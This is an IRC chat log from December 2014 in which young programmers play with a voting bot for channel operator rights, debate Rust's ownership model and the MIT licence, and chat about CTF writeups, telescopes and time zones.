[2014-12-10T01:55:55-0500] <+LittleBobbyTables> I'm like "yeah, if you're not going to accept help, I'm done"
[2014-12-10T01:56:00-0500] <+LittleBobbyTables> "whatever dude, you don't know anything anyway"
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[2014-12-10T03:07:44-0500] <@awe> So, guys.
[2014-12-10T03:07:49-0500] <@awe> I wrote a Taylor Swift song.
[2014-12-10T03:08:01-0500] <@awe> LittleBobbyTables: please tell me you're awake
[2014-12-10T03:08:08-0500] <@awe> http://pastie.org/private/kvlsdmjmy8vl0ruy0mm3cw
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[2014-12-10T08:23:04-0500] <The_Master> @markov
[2014-12-10T10:26:28-0500] <+JacobEdelman> 100 karma on hn
[2014-12-10T10:26:45-0500] <+JacobEdelman> ~300 more till I can downvote
[2014-12-10T10:27:46-0500] <+JacobEdelman> hmmm... appretnelys its way more than 300 more
[2014-12-10T10:27:49-0500] <+JacobEdelman> *apparentely
[2014-12-10T10:27:53-0500] <+JacobEdelman> the number needed changes overtime
[2014-12-10T11:28:14-0500] <nezorg> so apparently among the leaked sony stuff was a bunch of their certificate private keys
[2014-12-10T11:28:45-0500] <nezorg> ...one of which was just encrypted with its filename
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[2014-12-10T12:49:15-0500] <+The_Master> .active
[2014-12-10T12:49:15-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-10T12:49:15-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-10T12:49:15-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-10T12:49:15-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-10T12:49:30-0500] <+alokpathy> Wait but nezorg isn't even an op
[2014-12-10T12:49:53-0500] <+The_Master> awebot should be an admin
[2014-12-10T12:50:15-0500] <+The_Master> even though he isn't registered
[2014-12-10T12:50:42-0500] <+The_Master> .propose deop alokpathy
[2014-12-10T12:50:42-0500] <&Pidgey> Proposal 8 is live.
[2014-12-10T12:50:57-0500] <+alokpathy> ..
[2014-12-10T12:50:59-0500] <+alokpathy> wat
[2014-12-10T12:51:09-0500] <+alokpathy> .vote 8 nay
[2014-12-10T12:51:09-0500] <&Pidgey> Vote issued.
[2014-12-10T12:51:18-0500] <+The_Master> .propose oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[2014-12-10T12:51:18-0500] <&Pidgey> Proposal 9 is live.
[2014-12-10T12:51:53-0500] <+The_Master> .propose oper should check if the person is registered
[2014-12-10T12:52:20-0500] <+The_Master> .propose oper should_check_if_the_person_is_registered
[2014-12-10T12:52:20-0500] <&Pidgey> Proposal 10 is live.
[2014-12-10T12:52:24-0500] <+The_Master> .active
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 0, N 0).
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 0, N 0).
[2014-12-10T12:52:24-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-10T12:52:24-0500] <+alokpathy> and is an op
[2014-12-10T12:53:09-0500] <+The_Master> .propose deop should_check_if_the_person_is_an_operator
[2014-12-10T12:53:09-0500] <&Pidgey> Proposal 11 is live.
[2014-12-10T12:53:13-0500] <+The_Master> .drop
[2014-12-10T12:53:16-0500] <+The_Master> .help
[2014-12-10T12:53:20-0500] <+The_Master> .commands
[2014-12-10T13:18:30-0500] <@awe> And here I thought there was actual discussion.
[2014-12-10T13:18:34-0500] <@awe> Instead, it was just The_Master being annoying.
[2014-12-10T13:19:00-0500] <@awe> The_Master: it should actually check if the person is registered, online, and identified.
[2014-12-10T13:19:29-0500] <@awe> .vote 9 nay
[2014-12-10T13:19:29-0500] <&Pidgey> Vote issued.
[2014-12-10T13:19:31-0500] <@awe> .vote 10 nay
[2014-12-10T13:19:31-0500] <&Pidgey> Vote issued.
[2014-12-10T13:56:37-0500] <+The_Master> awe:sorry for being annoying why doesn't it check?
[2014-12-10T13:57:16-0500] <@awe> The_Master: I was lazy.
[2014-12-10T13:57:46-0500] <+The_Master> awe:ok
[2014-12-10T13:57:57-0500] <+The_Master> awe:why is awebot offline
[2014-12-10T13:58:03-0500] <@awe> Because he runs on my laptop.
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[2014-12-10T15:05:40-0500] <Hyper> awe: you should add a "veto" vote for ops
[2014-12-10T15:05:54-0500] <Hyper> :)
[2014-12-10T15:05:58-0500] <@awe> Hyper: why?
[2014-12-10T15:06:12-0500] <Hyper> to delete bad proposals?
[2014-12-10T15:06:19-0500] <@awe> Hyper: and only allow opers to do it?
[2014-12-10T15:06:39-0500] <Hyper> Otherwise it's just a matter of everyone voting nay
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[2014-12-10T17:11:32-0500] <JacobEdelman> hardmath123, you there?
[2014-12-10T17:15:02-0500] <@awe> Hyper: I basically assume that nobody will vote for things that are stupid.
[2014-12-10T17:23:21-0500] <JacobEdelman> .proposals
[2014-12-10T17:23:28-0500] <JacobEdelman> oh wait
[2014-12-10T17:23:30-0500] <JacobEdelman> .active
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 0, N 1).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 0, N 1).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-10T17:23:30-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 0, N 0).
[2014-12-10T17:23:45-0500] <JacobEdelman> .vote yea 11
[2014-12-10T17:23:45-0500] <&Pidgey> You must be identified to do that.
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[2014-12-10T17:24:08-0500] <+JacobEdelman> .vote yea 11
[2014-12-10T17:24:09-0500] <&Pidgey> 11 is not a valid vote.
[2014-12-10T17:24:12-0500] <+JacobEdelman> .vote 11 yea
[2014-12-10T17:24:12-0500] <&Pidgey> Vote issued.
[2014-12-10T17:24:16-0500] <+JacobEdelman> .vote 10 yea
[2014-12-10T17:24:16-0500] <&Pidgey> Vote issued.
[2014-12-10T17:24:19-0500] <+JacobEdelman> .vote 9 yea
[2014-12-10T17:24:19-0500] <&Pidgey> Vote issued.
[2014-12-10T17:24:28-0500] <+JacobEdelman> its my goal in life to disapprove awe :P
[2014-12-10T17:24:44-0500] <@awe> Thanks.
[2014-12-10T17:24:56-0500] <+JacobEdelman> no problem, I'll always be there for you
[2014-12-10T17:25:00-0500] <+JacobEdelman> :P
[2014-12-10T17:25:08-0500] <+JacobEdelman> I looked at rust
[2014-12-10T17:25:09-0500] <@awe> JacobEdelman: you should l2lisp
[2014-12-10T17:25:18-0500] <@awe> JacobEdelman: I feel like you'd love it because you can meta-program super hard.
[2014-12-10T17:25:28-0500] <@awe> What'd you think of Rust?
[2014-12-10T17:25:41-0500] <+JacobEdelman> I don't like systems programming but it still seems nice
[2014-12-10T17:26:06-0500] <+JacobEdelman> although the whole destructuring objects and scopes is weird in how I can pass something to a function and suddenly that something no longer exists
[2014-12-10T17:26:51-0500] <+JacobEdelman> (also, I made my own programming language that can calculate that (2*2)*(2*2)=16 in only 4 seconds!)
[2014-12-10T17:26:57-0500] <@awe> It's not suddenly lol
[2014-12-10T17:27:10-0500] <+JacobEdelman> its weird
[2014-12-10T17:27:29-0500] <+JacobEdelman> I don't like it when my variables fall in to black holes
[2014-12-10T17:27:32-0500] <+JacobEdelman> never to return
[2014-12-10T17:27:35-0500] <@awe> It's not a black hole.
[2014-12-10T17:27:44-0500] <+JacobEdelman> well, we get some stuff out
[2014-12-10T17:27:48-0500] <@awe> You're passing the data into something that will consume it.
[2014-12-10T17:27:50-0500] <+JacobEdelman> just not my poor, innocent variable
[2014-12-10T17:27:54-0500] <@awe> If you don't want that, pass a reference.
[2014-12-10T17:28:02-0500] <+JacobEdelman> I want a post scaricity society
[2014-12-10T17:28:07-0500] <+JacobEdelman> either that or I want capitalism
[2014-12-10T17:28:25-0500] <+JacobEdelman> (if you call a method too many times objects of its class will unionize and refuse to work)
[2014-12-10T17:28:27-0500] <@awe> Post-scarcity doesn't mean that consumption doesn't exist. It means that there's no challenges associated with consumption.
[2014-12-10T17:28:32-0500] <@awe> JacobEdelman: lol
[2014-12-10T17:28:35-0500] <+JacobEdelman> ... I should totally do this
[2014-12-10T17:28:37-0500] <@awe> That'd be humorous.
[2014-12-10T17:28:41-0500] <+JacobEdelman> make a capitalist programming language
[2014-12-10T17:28:47-0500] <+JacobEdelman> .... okay, this is gonna happen
[2014-12-10T17:28:55-0500] <@awe> That's not capitalist. That's unionized.
[2014-12-10T17:29:03-0500] <+JacobEdelman> it will start out capitalist
[2014-12-10T17:29:12-0500] <+JacobEdelman> and become unionized if you mistreat your workers
[2014-12-10T17:29:25-0500] <+JacobEdelman> unless you seperate their scopes properly, in which case they can't communicate
[2014-12-10T17:30:40-0500] <+JacobEdelman> ... hmmm, other ideas?
[2014-12-10T17:31:13-0500] <+JacobEdelman> objects that take up too much memory
[2014-12-10T17:31:16-0500] <+JacobEdelman> become too big too fail
[2014-12-10T17:31:19-0500] <+JacobEdelman> and cannot be deleted
[2014-12-10T17:31:22-0500] <+JacobEdelman> or substantially changed
[2014-12-10T17:31:24-0500] <@awe> O lawd.
[2014-12-10T17:31:43-0500] <+JacobEdelman> public variables are accessible and mutable, but only for objects with large amounts of memory
[2014-12-10T17:31:56-0500] <+JacobEdelman> so is the code
[2014-12-10T17:31:58-0500] <+JacobEdelman> and the compiler
[2014-12-10T17:32:11-0500] <+JacobEdelman> yes, objects that are big enough can alter the interper itself ! :P
[2014-12-10T17:32:22-0500] <@awe> .-.
[2014-12-10T17:34:34-0500] <+JacobEdelman> large objects of one type will attempt to delete or merge with other objects of their type when they get the chance, in order to perform horizontal integration
[2014-12-10T17:34:55-0500] <@awe> JacobEdelman: I don't get what you think is weird about the consumption of objects.
[2014-12-10T17:35:08-0500] <+JacobEdelman> what, did we switch topics?
[2014-12-10T17:35:19-0500] <@awe> Yes, I went back to your comments about Rust.
[2014-12-10T17:35:36-0500] <+JacobEdelman> its just that if I have a=something
[2014-12-10T17:35:41-0500] <+JacobEdelman> I expect it to stay that way
[2014-12-10T17:35:42-0500] <+JacobEdelman> until
[2014-12-10T17:35:43-0500] <+JacobEdelman> I say 
[2014-12-10T17:35:46-0500] <+JacobEdelman> x=something else
[2014-12-10T17:35:52-0500] <+JacobEdelman> *a=something else
[2014-12-10T17:36:04-0500] <+JacobEdelman> or a+= which is just pretty much a= 
[2014-12-10T17:37:37-0500] <@awe> JacobEdelman: http://is.gd/2QJtuF
[2014-12-10T17:37:44-0500] <@awe> JacobEdelman: Yes, that is indeed what happens.
[2014-12-10T17:39:46-0500] <@awe> JacobEdelman: this is not the case in a language like Python where x could've changed from the call to foo without you knowing.
[2014-12-10T17:40:13-0500] <@awe> JacobEdelman: Or in Java.
[2014-12-10T17:40:41-0500] <@awe> JacobEdelman: I can pass an object Foo to a function and then it could be a different Foo afterward without me knowing that this happens!
[2014-12-10T17:40:47-0500] <+JacobEdelman> ... why doesn't that work?
[2014-12-10T17:40:58-0500] <+JacobEdelman> wait, I'm okay with it not changing
[2014-12-10T17:41:03-0500] <+JacobEdelman> I just don't want it to disappear
[2014-12-10T17:41:19-0500] <@awe> It doesn't disappear.
[2014-12-10T17:41:21-0500] <@awe> I just showed you.
[2014-12-10T17:41:34-0500] <@awe> Look at the is.gd link.
[2014-12-10T17:43:18-0500] <+JacobEdelman> http://is.gd/BroEJg
[2014-12-10T17:43:19-0500] <+JacobEdelman> there
[2014-12-10T17:43:22-0500] <+JacobEdelman> it does there
[2014-12-10T17:43:35-0500] <+JacobEdelman> (i stole this from a tutorial I was looking at)
[2014-12-10T17:43:40-0500] <@awe> That's because a box is a reference!
[2014-12-10T17:43:46-0500] <+JacobEdelman> ... I don't care
[2014-12-10T17:43:51-0500] <@awe> It doesn't destroy the value.
[2014-12-10T17:43:56-0500] <+JacobEdelman> thats a side effect
[2014-12-10T17:43:57-0500] <@awe> It uses up the pointer!
[2014-12-10T17:44:00-0500] <@awe> ...
[2014-12-10T17:44:00-0500] <+JacobEdelman> I don't like side effects
[2014-12-10T17:44:22-0500] <@awe> You use Python and JavaScript.
[2014-12-10T17:44:23-0500] <+JacobEdelman> But I guess I could get used to it
[2014-12-10T17:44:26-0500] <+JacobEdelman> :P
[2014-12-10T17:44:33-0500] <+JacobEdelman> I understand the side effects there
[2014-12-10T17:44:51-0500] <@awe> I don't even think that constitutes a side effect.
[2014-12-10T17:44:57-0500] <+JacobEdelman> (I also use my own language, which I mentally call AnnoyWeiss (or lark))
[2014-12-10T17:45:15-0500] <+JacobEdelman> (which takes ~4 seconds to calculate 2+2+2+2)
[2014-12-10T17:45:26-0500] <+JacobEdelman> (its experimental :P )
[2014-12-10T17:45:39-0500] <@awe> It's not a side effect because it's not actually changing state.
[2014-12-10T17:45:47-0500] <+JacobEdelman> but it does from my point of view
[2014-12-10T17:45:52-0500] <+JacobEdelman> there were things I could do before
[2014-12-10T17:45:56-0500] <@awe> No, you just do not understand what it says.
[2014-12-10T17:45:56-0500] <+JacobEdelman> that I cannot do after
[2014-12-10T17:45:58-0500] <+JacobEdelman> ergo
[2014-12-10T17:45:59-0500] <+JacobEdelman> side effect
[2014-12-10T17:46:12-0500] <@awe> It's because nobody would use a box like that.
[2014-12-10T17:46:16-0500] <@awe> A Box is a kind of reference.
[2014-12-10T17:46:22-0500] <+JacobEdelman> well, I am frequentely nobodu
[2014-12-10T17:46:24-0500] <+JacobEdelman> *nobody
[2014-12-10T17:46:28-0500] <@awe> No, you wouldn't write code like this.
[2014-12-10T17:46:39-0500] <+JacobEdelman> (as in, nobody would make a language that horrible... and then I do)
[2014-12-10T17:46:42-0500] <@awe> For exactly the reason that you can't DO anything with it.
[2014-12-10T17:46:50-0500] <+JacobEdelman> (or nobody would use metaprogramming inside of an eval...)
[2014-12-10T17:47:25-0500] <@awe> No, as in, the language actually enforces making this impossible.
[2014-12-10T17:47:32-0500] <@awe> Yes, you can technically write a = box 5
[2014-12-10T17:47:37-0500] <@awe> but it's useless.
[2014-12-10T17:47:47-0500] <@awe> Almost anything you try to do with it is not allowed.
[2014-12-10T17:47:54-0500] <@awe> That's something you're also not grasping here.
[2014-12-10T17:47:55-0500] <+JacobEdelman> true
[2014-12-10T17:47:57-0500] <@awe> There's no side effect.
[2014-12-10T17:48:00-0500] <+JacobEdelman> ehhh
[2014-12-10T17:48:01-0500] <@awe> It physically is not allowed.
[2014-12-10T17:48:04-0500] <@awe> The language will not compile it.
[2014-12-10T17:48:06-0500] <+JacobEdelman> ehh....
[2014-12-10T17:48:14-0500] <+JacobEdelman> I guess
[2014-12-10T17:48:21-0500] <@awe> It's not a side effect because there's no change of state. It cannot happen.
[2014-12-10T17:48:35-0500] <+JacobEdelman> fine, I guess thats true
[2014-12-10T17:48:50-0500] <@awe> That would be like saying that Haskell has side effects because you could try to mutate a variable without a monad in code that wouldn't compile.
[2014-12-10T17:49:34-0500] <@awe> JacobEdelman: Think about it this way.
[2014-12-10T17:50:09-0500] <@awe> JacobEdelman: References belong to somebody.
[2014-12-10T17:50:20-0500] <@awe> JacobEdelman: References can be passed around, but only one person can hold that reference at a time.
[2014-12-10T17:50:52-0500] <@awe> JacobEdelman: And when the reference dies in the scope that owns it, it's no longer valid.
[2014-12-10T17:51:11-0500] <@awe> JacobEdelman: It wouldn't make sense to do anything else.
[2014-12-10T17:53:17-0500] <+JacobEdelman> references are basicly slaves?
[2014-12-10T17:53:21-0500] <+JacobEdelman> free the refrences!
[2014-12-10T17:53:38-0500] <+JacobEdelman> no ownership of references!
[2014-12-10T17:53:42-0500] <+JacobEdelman> they must not die alone!
[2014-12-10T17:54:08-0500] <@awe> Well, technically, the data is owned, and the reference is just existing in a scope and then it dies when that scope ends.
[2014-12-10T17:54:46-0500] <+JacobEdelman> oh, well data is a robot
[2014-12-10T17:54:48-0500] <+JacobEdelman> so he can be owned
[2014-12-10T17:54:50-0500] <+JacobEdelman> I guess
[2014-12-10T17:54:52-0500] <+JacobEdelman> until nemesis
[2014-12-10T17:54:59-0500] <+JacobEdelman> where he gets an emotions chip or whatever
[2014-12-10T17:55:03-0500] <+JacobEdelman> than hes a real person
[2014-12-10T17:55:25-0500] <@awe> Actually, it seems like they do describe references as being owned by their scope.
[2014-12-10T17:55:29-0500] <@awe> A task owns all memory it can safely reach through local variables, as well as boxes and references.
[2014-12-10T17:56:57-0500] <@awe> JacobEdelman: It's all part of a system to prevent data races.
[2014-12-10T17:57:36-0500] <+JacobEdelman> what, now your not allowing them to race!
[2014-12-10T17:57:43-0500] <+JacobEdelman> tyranny!
[2014-12-10T17:58:25-0500] <+JacobEdelman> (in my coming langauge objects are free to choose their own paradigms and do so randomly on intiallization)
[2014-12-10T18:01:39-0500] <@awe> Lol, okay.
[2014-12-10T18:02:48-0500] <@awe> JacobEdelman: so, according to the MIT license, the only way to legally distribute any Rust program right now is coupled with a file stating that Rust was used and is licensed under the MIT license.
[2014-12-10T18:02:51-0500] <@awe> JacobEdelman: Yay for broken licensing.
[2014-12-10T18:05:26-0500] <nezorg> well, that's debatable
[2014-12-10T18:05:50-0500] <nezorg> it depends on how "substantial portions" is interpreted
[2014-12-10T18:07:13-0500] <nezorg> anyway, that's not true
[2014-12-10T18:07:24-0500] <nezorg> only if you link to some of their libraries
[2014-12-10T18:07:37-0500] <nezorg> just being compiled by rustc doesn't justify it
[2014-12-10T18:08:08-0500] <@awe> nezorg: guess what
[2014-12-10T18:08:14-0500] <@awe> nezorg: rustc is part of the standard library.
[2014-12-10T18:08:25-0500] <nezorg> ...and?
[2014-12-10T18:08:31-0500] <@awe> nezorg: the standard library is MIT
[2014-12-10T18:08:36-0500] <nezorg> yes
[2014-12-10T18:08:57-0500] <nezorg> but being compiled by an MIT-licensed compiler does not mandating redistributing the MIT license
[2014-12-10T18:09:09-0500] <@awe> No, but using anything in the language does.
[2014-12-10T18:09:12-0500] <@awe> More-or-less.
[2014-12-10T18:09:25-0500] <nezorg> using any *libraries* does
[2014-12-10T18:09:35-0500] <nezorg> not the language itself
[2014-12-10T18:09:35-0500] <@awe> Using anything in the standard library.
[2014-12-10T18:09:39-0500] <nezorg> yeah
[2014-12-10T18:09:44-0500] <@awe> Which is most of what constitutes the language.
[2014-12-10T18:09:51-0500] <@awe> Option is in the standard library.
[2014-12-10T18:09:55-0500] <@awe> Result is in the standard library.
[2014-12-10T18:10:09-0500] <nezorg> ...I strongly disagree that that's what constitutes the lanfuage
[2014-12-10T18:10:22-0500] <nezorg> there are already a couple different alternate standard libraries
[2014-12-10T18:11:13-0500] <@awe> The only one I found is deprecated.
[2014-12-10T18:11:17-0500] <@awe> and was also MIT licensed.
[2014-12-10T18:12:33-0500] <@awe> The reason it existed was because freestanding support.
[2014-12-10T18:12:36-0500] <@awe> But libcore already does that.
[2014-12-10T18:12:40-0500] <@awe> and libcore is also MIT licensed.
[2014-12-10T18:12:49-0500] <@awe> It's currently unavoidable.
[2014-12-10T18:12:50-0500] <nezorg> still, I'd say the language itself is a huge part of what makes rust interesting
[2014-12-10T18:13:00-0500] <@awe> Definitely.
[2014-12-10T18:13:07-0500] <@awe> I didn't say that the standard library makes it interesting.
[2014-12-10T18:13:12-0500] <@awe> I said that's what constitutes it as a language.
[2014-12-10T18:13:21-0500] <@awe> Well, most of what constitutes it as a language.
[2014-12-10T18:13:30-0500] <@awe> As in: you pretty much can't program without it.
[2014-12-10T18:13:34-0500] <@awe> Short of writing your own STL.
[2014-12-10T18:14:09-0500] <@awe> And anyway, regardless, the license is broken for this purpose because it does not reflect the desires of the Rust team.
[2014-12-10T18:16:15-0500] <@awe> nezorg: BSD is even worse.
[2014-12-10T18:16:16-0500] <@awe> Redistributions in binary form must reproduce the above copyright notice,
[2014-12-10T18:16:16-0500] <@awe>   this list of conditions and the following disclaimer in the documentation
[2014-12-10T18:16:16-0500] <@awe>   and/or other materials provided with the distribution.
[2014-12-10T18:16:18-0500] <@awe> nezorg: ^
[2014-12-10T18:16:43-0500] <@awe> nezorg: no ambiguity over the term substantial portions there.
[2014-12-10T18:17:05-0500] <nezorg> yeah
[2014-12-10T18:17:56-0500] <@awe> Also, open source lawyers have commented stating that it probably constitutes a license violation to use anything in the library without producing the notice.
[2014-12-10T18:18:17-0500] <@awe> So, yeah, technically it's ambiguous, but lawyers in this field are already like "This is bad. Change this."
[2014-12-10T18:20:23-0500] <@awe> nezorg: "Combined with the fact that you don't have CLA's that grant you explicit sublicensing rights, anyone who contributes could go off and easily have a sane case against someone for not reproducing the notice. Statutory damages for copyright infringement are up to 150k in the US, sadly."
[2014-12-10T18:32:38-0500] <+JacobEdelman> solution: destroy the US
[2014-12-10T18:32:49-0500] <+JacobEdelman> .... fine, maybe thats a bit overkill
[2014-12-10T18:33:01-0500] <+JacobEdelman> just dissolve it into a bunch of seperate nation states
[2014-12-10T18:35:10-0500] <@awe> JacobEdelman: As long as I can start my own autonomous region with voluntary association and mutual aid, I'm happy.
[2014-12-10T18:36:33-0500] <+JacobEdelman> awe: you'll have to fight the other war lords for it
[2014-12-10T18:40:40-0500] <@awe> http://this-week-in-rust.org/blog/2014/12/01/this-week-in-rust-59/
[2014-12-10T18:40:41-0500] <@awe> Look, guys.
[2014-12-10T18:40:43-0500] <@awe> I made it.
[2014-12-10T18:40:48-0500] <@awe> irc: An IRC library for Rust.
[2014-12-10T18:40:48-0500] <@awe> :D
[2014-12-10T18:41:42-0500] <+alokpathy> Nicee :D
[2014-12-10T18:41:50-0500] <@awe> http://www.happiestprogrammer.com
[2014-12-10T18:41:53-0500] <@awe> This site is interesting in theory.
[2014-12-10T18:42:02-0500] <@awe> "See the latest change, sorry for the wrong first answer :)" showed up under negative comments though.
[2014-12-10T18:42:07-0500] <@awe> So, I doubt the accuracy.
[2014-12-10T18:44:58-0500] <+Tamini> nezorg: upon reading your baleful writeup again
[2014-12-10T18:45:06-0500] <+Tamini> rsa mistakes was the bane of your existence? :P
[2014-12-10T19:03:22-0500] <nezorg> yes :(
[2014-12-10T19:03:43-0500] <nezorg> because in the end it was sage multiplying polynomials wrong for some reason
[2014-12-10T19:20:50-0500] <+Tamini> LOL
[2014-12-10T19:20:53-0500] <+Tamini> oh you know
[2014-12-10T19:20:56-0500] <+Tamini> i did that numerically by hand
[2014-12-10T19:21:01-0500] <+Tamini> it was so nice
[2014-12-10T19:21:18-0500] <+Tamini> sage is nice to an extent, but simplifying polynomials is easier by hand B)
[2014-12-10T19:21:41-0500] <+LittleBobbyTables> nerd
[2014-12-10T19:21:47-0500] <+Tamini> ur a nerd
[2014-12-10T19:21:57-0500] <+Tamini> nezorg won pico, hes the biggest nerd
[2014-12-10T19:23:29-0500] <+LittleBobbyTables> You did math by hand
[2014-12-10T19:28:11-0500] <nezorg> I'm not sure if I'm deserving of that title, but I'll gladly accept it <3
[2014-12-10T19:28:41-0500] <@awe> I just wrote an email apologizing to a Haskell contributor for my being a huge asshole to them in a GH issue.
[2014-12-10T19:29:54-0500] hardmath123[zzz] is now known as hardmath123
[2014-12-10T19:30:16-0500] <+Tamini> awe's apology messages are always kinda amazing
[2014-12-10T19:30:16-0500] <+Tamini> lol
[2014-12-10T19:30:30-0500] <+Tamini> my writeups all sound so excited ._.
[2014-12-10T19:30:33-0500] <@awe> The dude was so nice to me.
[2014-12-10T19:30:44-0500] <+Tamini> heh
[2014-12-10T19:30:44-0500] <@awe> After I was a huge dick, he was like "HEY, YOU SHOULD COME TO NYC HASKELL MEETUP!"
[2014-12-10T19:38:34-0500] <+LittleBobbyTables> awe
[2014-12-10T19:38:40-0500] <+LittleBobbyTables> Wanna buy me a 2200 dollar telescope?
[2014-12-10T19:38:46-0500] <@awe> LOL.
[2014-12-10T19:38:46-0500] <@awe> No.
[2014-12-10T19:38:50-0500] <@awe> I don't have anywhere near that.
[2014-12-10T19:38:50-0500] <+LittleBobbyTables> It's on sale though.
[2014-12-10T19:38:56-0500] <+LittleBobbyTables> 20% off.
[2014-12-10T19:39:31-0500] <+hardmath123> LittleBobbyTables: where do you live?
[2014-12-10T19:39:34-0500] <+LittleBobbyTables> Has anyone had experience with Rosetta Stone
[2014-12-10T19:39:40-0500] <+LittleBobbyTables> hardmath123: Germany
[2014-12-10T19:39:41-0500] <@awe> He lives in Turkey.
[2014-12-10T19:39:46-0500] <+hardmath123> ...
[2014-12-10T19:40:20-0500] <+LittleBobbyTables> I'm GMT+2 :/
[2014-12-10T19:40:21-0500] <+LittleBobbyTables> 12:39 AM <•LittleBobbyTables> hardmath123: Germany
[2014-12-10T19:40:21-0500] <+LittleBobbyTables> 12:39 AM <•awe> He lives in Turkey.
[2014-12-10T19:40:21-0500] <+LittleBobbyTables> 12:39 AM <•hardmath123> ...
[2014-12-10T19:40:21-0500] <+LittleBobbyTables> 12:40 AM <•LittleBobbyTables> I'm GMT+2 :/
[2014-12-10T19:40:45-0500] <@awe> Why'd you just quote the text that was just there?
[2014-12-10T19:40:45-0500] <+alokpathy> LittleBobbyTables: Wait I thought you lived in Washington state.
[2014-12-10T19:41:03-0500] <+LittleBobbyTables> To show the time, awe.
[2014-12-10T19:41:03-0500] <+hardmath123> LittleBobbyTables: i mean, depending on where you live, there comes a point where the expensiveness of the telescope does nothing to improve the telescoping experience
[2014-12-10T19:41:09-0500] <@awe> Oh.
[2014-12-10T19:41:21-0500] <+hardmath123> take this from someone who has seen 4 Galilean moons from a rooftop in India's most polluted city.
[2014-12-10T19:41:22-0500] <+LittleBobbyTables> hardmath123: Yeah, but. No
[2014-12-10T19:41:30-0500] <+LittleBobbyTables> Actually wait, that's GMT not GMT+2 lol
[2014-12-10T19:41:36-0500] <@awe> LittleBobbyTables: failbucket
[2014-12-10T19:41:39-0500] <+LittleBobbyTables> Shh
[2014-12-10T19:41:44-0500] <+LittleBobbyTables> I can't math
[2014-12-10T19:41:49-0500] <+LittleBobbyTables> Either way, it's still in Germany.
[2014-12-10T19:41:53-0500] <@awe> Apparently, he's from west Germany.
[2014-12-10T19:42:06-0500] <@awe> Berlin is GMT+1.
[2014-12-10T19:42:19-0500] <+LittleBobbyTables> Didn't you hear my accent in the Osu! video?
[2014-12-10T19:44:18-0500] <+Tamini> LittleBobbyTables: wait
[2014-12-10T19:44:22-0500] <+Tamini> since when are you from germany
[2014-12-10T19:44:33-0500] <@awe> Always.
[2014-12-10T19:44:46-0500] <@awe> He was one of the few foreign nationals participating in HSCTF.
[2014-12-10T19:45:32-0500] <+Tamini> wait
[2014-12-10T19:45:38-0500] <+Tamini> I'm pretty sure he's from like
[2014-12-10T19:45:40-0500] <+Tamini> washington state
[2014-12-10T19:45:42-0500] <+Tamini> am i drunk
[2014-12-10T19:46:53-0500] <@awe> You must be.
[2014-12-10T19:46:57-0500] <@awe> I don't know where you got that from.
[2014-12-10T19:47:31-0500] <+hardmath123> you could always grep the logs for washington
[2014-12-10T19:48:10-0500] <+Tamini> ._.
[2014-12-10T19:48:13-0500] <+Tamini> im confused now
[2014-12-10T19:51:07-0500] <+LittleBobbyTables> Tamini: Do you not know a German accent when you hear it?
[2014-12-10T19:51:23-0500] <+Tamini> I know you're German, I got that
[2014-12-10T19:51:27-0500] <+Tamini> but don't you like live in Washington
[2014-12-10T19:51:52-0500] <+LittleBobbyTables> Why would I live there? Terrible weather.
[2014-12-10T19:52:22-0500] <+LittleBobbyTables> Ein ball rollt um die ecke. Fällt um.
[2014-12-10T19:52:31-0500] <+LittleBobbyTables> Tell me a joke as good as that.
[2014-12-10T19:52:54-0500] <+hardmath123> what's the hyphenation for `intellectual`?
[2014-12-10T19:53:21-0500] <@awe> ?
[2014-12-10T19:53:32-0500] <+hardmath123> like, when you wrap lines
[2014-12-10T19:53:51-0500] <+hardmath123> where is it acceptable to break the word?
[2014-12-10T19:54:31-0500] <+LittleBobbyTables> Nowhere
[2014-12-10T19:54:39-0500] <+hardmath123> :(
[2014-12-10T19:54:45-0500] <@awe> hardmath123: it's a word
[2014-12-10T19:54:49-0500] <@awe> hardmath123: don't break in the middle of words.
[2014-12-10T19:54:56-0500] <+hardmath123> but...
[2014-12-10T19:55:03-0500] <@awe> Whole word next line.
[2014-12-10T19:55:03-0500] <+hardmath123> TeX breaks words
[2014-12-10T19:57:56-0500] <+LittleBobbyTables> I'm getting a lot of friend requests on my fake facebook.
[2014-12-10T19:59:11-0500] <nezorg> what do you mean by fake?
[2014-12-10T19:59:23-0500] <@awe> It's not really him.
[2014-12-10T19:59:27-0500] <@awe> It has none of his information on it.
[2014-12-10T20:00:26-0500] <+LittleBobbyTables> It has a profile picture and that's it.
[2014-12-10T20:00:42-0500] <+LittleBobbyTables> https://www.facebook.com/Logitech.US/app_1556746174559673
[2014-12-10T20:00:45-0500] <+LittleBobbyTables> awe go win me something
[2014-12-10T20:04:12-0500] <@awe> The circles are all blank?
